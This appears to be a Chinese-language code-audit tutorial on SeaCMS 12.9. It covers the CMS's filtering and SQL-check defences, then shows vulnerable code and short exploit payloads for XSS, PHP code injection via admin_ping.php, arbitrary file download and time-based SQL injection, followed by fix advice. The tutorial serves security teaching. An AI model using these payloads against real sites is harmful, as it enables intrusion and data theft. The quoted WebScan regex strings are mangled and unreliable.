从seacms12.9教你学会代码审计
字数 1346 2025-08-22 22:47:30

SeaCMS 12.9 代码审计与漏洞分析教学文档

一、环境搭建

  1. 下载 SeaCMS 12.9 源码
  2. 使用 phpstudy 搭建本地测试环境

二、安全防护机制分析

1. 输入过滤机制

include/common.php 中实现了全局输入过滤:

function _RunMagicQuotes(&$svar) {
    if(!get_magic_quotes_gpc()) {
        if(is_array($svar)) {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        } else {
            $svar = addslashes($svar);
        }
    }
    return $svar;
}

foreach(Array('_GET','_POST','_COOKIE','_SERVER') as $_request) {
    foreach(
$$
_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

2. WebScan 防护

include/webscan/webscan.php 中定义了严格的过滤规则:

// GET 拦截规则
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|d+data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*sleep\s*b(group_)?concat[\\s\bcase[\s\/\*]*?when[\s\load_file\s*a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*v(8|9)|\\b(and|or)\\b\\s*d]d]a-zA-Z]a-zA-Z]s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*s*|@{1,2}.+?\s*|\s+s*)|UPDATE\s*s*|@{1,2}.+?\s*|\s+s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}s+?.+?\\s+FROM(s+CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

// POST 拦截规则
$postfilter = "<d+data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*sleep\s*b(group_)?concat[\\s\bcase[\s\/\*]*?when[\s\load_file\s*b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*d]d]a-zA-Z]a-zA-Z]s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*s*|@{1,2}.+?\s*|\s+s*)|UPDATE\s*s*|@{1,2}.+?\s*|\s+s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)s+?.+?\\s+FROM(s+CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

// COOKIE 拦截规则
$cookiefilter = "benchmark\s*sleep\s*load_file\s*?\\(|\\b(and|or)\\b\\s*d]d]a-zA-Z]a-zA-Z]s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*s*|@{1,2}.+?\s*|\s+s*)|UPDATE\s*s*|@{1,2}.+?\s*|\s+s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}s+?.+?\\s+FROM(s+CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

3. SQL 注入防护

CheckSql 方法实现了 SQL 注入检测:

function CheckSql($db_string, $querytype = 'select') {
    global $cfg_cookie_encode;
    $clean = '';
    $error = '';
    $old_pos = 0;
    $pos = -1;
    $log_file = sea_INC . '/../data/' . md5($cfg_cookie_encode) . '_safe.txt';
    $userIP = GetIP();
    $getUrl = GetCurUrl();

    // 如果是普通查询语句,直接过滤一些特殊语法
    if($querytype == 'select') {
        $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
        if(m_eregi($notallow1, $db_string)){
            exit('SQL check');
        }
    }
    
    // 检测 UNION
    if(stripos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0) {
        $fail = true;
        $error = "union detect";
    }
    
    // 检测注释
    elseif(stripos($clean, '/*') > 2 || stripos($clean, '--') !== false || stripos($clean, '#') !== false) {
        $fail = true;
        $error = "comment detect";
    }
    
    // 检测危险函数
    elseif(stripos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0) {
        $fail = true;
        $error = "sleep detect";
    }
    // 其他检测项...
    
    if(!empty($fail)) {
        fputs(fopen($log_file, 'a+'), "$userIP||$getUrl||$db_string||$error\r\n");
        exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
    } else {
        return $db_string;
    }
}

三、漏洞分析

1. 反射型 XSS 漏洞

文件位置: /js/player/dmplayer/player/index.php

漏洞代码:

#loading-box { background: #<?php echo($_GET['color']); ?> !important; }

漏洞分析:

  • 直接输出 GET 参数 color 到页面
  • 未进行任何过滤或编码
  • 该文件未引用 WAF 防护

利用方式:
构造恶意 URL 如:

/js/player/dmplayer/player/index.php?color=red;alert(1)//

2. 后台代码执行漏洞

文件位置: admin_ping.php

漏洞代码:

if($action=="set") {
    $weburl= $_POST['weburl'];
    $token = $_POST['token'];
    $open=fopen("../data/admin/ping.php","w");
    $str='<?php';
    $str.='$weburl = "';
    $str.="$weburl";
    $str.'";';
    $str.='$token = "';
    $str.="$token";
    $str.'";';
    $str .= "?>";
    fwrite($open,$str);
    fclose($open);
    ShowMsg("成功保存设置!","admin_ping.php");
    exit;
}

漏洞分析:

  • 直接将用户输入的 $weburl$token 写入 PHP 文件
  • 未进行任何过滤或安全检查
  • 可写入任意 PHP 代码实现代码执行

利用方式:
构造 POST 请求:

action=set&weburl=test";phpinfo();$a="&token=test

3. 任意文件下载漏洞

文件位置: admin/admin_safe.php

漏洞代码:

if($action == "download" && isset($_GET['file']) && trim($_GET['file'])!= "") {
    $file = $_GET['file'];
    ob_clean();
    if(@file_exists($file)) {
        header("Content-type: application/octet-stream");
        header("Content-Disposition: filename=\"".basename($file)."\"");
        echo file_get_contents($file);
    }
    exit();
}

漏洞分析:

  • 直接读取并输出用户指定的文件
  • 未对文件路径进行限制或过滤
  • 可读取服务器任意文件

利用方式:
构造 URL:

/admin_safe.php?action=download&file=D:\phpstudy_pro\WWW\seacms-12_9\nginx.htaccess

4. 后台 SQL 注入漏洞

文件位置: admin_datarelate.php/templets/admin_datarelate_result.htm

漏洞代码:

$sql = stripslashes($sql);
if(strtolower(substr(trim($sql), 0, 6)) != 'select') {
    $sqlArr = explode(';', rtrim(trim($sql), ';'));
    foreach($sqlArr as $sql) {
        $num = $dsql->ExecuteNoneQuery2($sql);
        if($num == -1) {
            echo '<div style="color:#F00;text-align:center">'.$dsql->GetError().'<br />SQL执行失败,请检查SQL语句是否正确<a href="//www.seacms.net">[?]</a></div></tr></table>';
            viewFoot();
            exit();
        }
    }
    echo '<div style="color:#F00;text-align:center">SQL执行成功,'.$num.'条数据受影响</div></tr></table>';
    viewFoot();
    exit();
}

漏洞分析:

  • 使用 ExecuteNoneQuery2 方法执行 SQL
  • 该方法未调用 CheckSql 进行安全检查
  • 可执行任意 SQL 语句

利用方式:
构造恶意 SQL 语句通过后台执行

5. 未授权 SQL 注入漏洞

文件位置: /js/player/dmplayer/dmku/index.php

漏洞代码:

if($_GET['ac'] == "edit") {
    $cid = $_POST['cid'] ?: showmessage(-1, null);
    $data = $d->编辑弹幕($cid) ?: succeedmsg(0, '完成');
    exit;
}

public static function 编辑_弹幕($cid) {
    try {
        global $_config;
        $text = $_POST['text'];
        $color = $_POST['color'];
        $conn = @new mysqli($_config['数据库']['地址'], $_config['数据库']['用户名'], $_config['数据库']['密码'], $_config['数据库']['名称'], $_config['数据库']['端口']);
        $sql = "UPDATE sea_danmaku_list SET text='$text',color='$color' WHERE cid=$cid";
        $result = "UPDATE sea_danmaku_report SET text='$text',color='$color' WHERE cid=$cid";
        $conn->query($sql);
        $conn->query($result);
    } catch(PDOException $e) {
        showmessage(-1, '数据库错误:'.$e->getMessage());
    }
}

漏洞分析:

  • 使用原生 query 方法执行 SQL
  • 未进行参数化查询或过滤
  • 无需登录即可利用
  • $cid 参数可控导致 SQL 注入

利用方式:
构造 POST 请求:

ac=edit&cid=1 AND (SELECT * FROM (SELECT(SLEEP(5)))a)

四、修复建议

  1. 反射型 XSS:

    • 对输出进行 HTML 实体编码
    • 使用 htmlspecialchars() 函数
  2. 代码执行漏洞:

    • 对写入文件内容进行严格过滤
    • 限制可写入的文件类型和内容
  3. 任意文件下载:

    • 限制可下载的文件目录
    • 验证文件路径合法性
  4. SQL 注入漏洞:

    • 统一使用参数化查询
    • 确保所有 SQL 执行都经过 CheckSql 检测
    • ExecuteNoneQuery2 方法添加安全检查
  5. 未授权访问:

    • 添加权限验证
    • 对敏感操作进行身份验证

五、审计总结

  1. SeaCMS 12.9 虽然实现了较为全面的安全防护机制,但仍存在多处安全漏洞
  2. 主要问题集中在:
    • 未对所有用户输入进行过滤
    • 未对所有 SQL 执行点进行安全检查
    • 部分功能未进行权限验证
  3. 审计时应重点关注:
    • 用户输入点
    • 文件操作函数
    • 数据库查询方法
    • 权限验证机制
SeaCMS 12.9 代码审计与漏洞分析教学文档 一、环境搭建 下载 SeaCMS 12.9 源码 使用 phpstudy 搭建本地测试环境 二、安全防护机制分析 1. 输入过滤机制 在 include/common.php 中实现了全局输入过滤: 2. WebScan 防护 在 include/webscan/webscan.php 中定义了严格的过滤规则: 3. SQL 注入防护 CheckSql 方法实现了 SQL 注入检测: 三、漏洞分析 1. 反射型 XSS 漏洞 文件位置 : /js/player/dmplayer/player/index.php 漏洞代码 : 漏洞分析 : 直接输出 GET 参数 color 到页面 未进行任何过滤或编码 该文件未引用 WAF 防护 利用方式 : 构造恶意 URL 如: 2. 后台代码执行漏洞 文件位置 : admin_ping.php 漏洞代码 : 漏洞分析 : 直接将用户输入的 $weburl 和 $token 写入 PHP 文件 未进行任何过滤或安全检查 可写入任意 PHP 代码实现代码执行 利用方式 : 构造 POST 请求: 3. 任意文件下载漏洞 文件位置 : admin/admin_safe.php 漏洞代码 : 漏洞分析 : 直接读取并输出用户指定的文件 未对文件路径进行限制或过滤 可读取服务器任意文件 利用方式 : 构造 URL: 4. 后台 SQL 注入漏洞 文件位置 : admin_datarelate.php 和 /templets/admin_datarelate_result.htm 漏洞代码 : 漏洞分析 : 使用 ExecuteNoneQuery2 方法执行 SQL 该方法未调用 CheckSql 进行安全检查 可执行任意 SQL 语句 利用方式 : 构造恶意 SQL 语句通过后台执行 5. 未授权 SQL 注入漏洞 文件位置 : /js/player/dmplayer/dmku/index.php 漏洞代码 : 漏洞分析 : 使用原生 query 方法执行 SQL 未进行参数化查询或过滤 无需登录即可利用 $cid 参数可控导致 SQL 注入 利用方式 : 构造 POST 请求: 四、修复建议 反射型 XSS : 对输出进行 HTML 实体编码 使用 htmlspecialchars() 函数 代码执行漏洞 : 对写入文件内容进行严格过滤 限制可写入的文件类型和内容 任意文件下载 : 限制可下载的文件目录 验证文件路径合法性 SQL 注入漏洞 : 统一使用参数化查询 确保所有 SQL 执行都经过 CheckSql 检测 对 ExecuteNoneQuery2 方法添加安全检查 未授权访问 : 添加权限验证 对敏感操作进行身份验证 五、审计总结 SeaCMS 12.9 虽然实现了较为全面的安全防护机制,但仍存在多处安全漏洞 主要问题集中在: 未对所有用户输入进行过滤 未对所有 SQL 执行点进行安全检查 部分功能未进行权限验证 审计时应重点关注: 用户输入点 文件操作函数 数据库查询方法 权限验证机制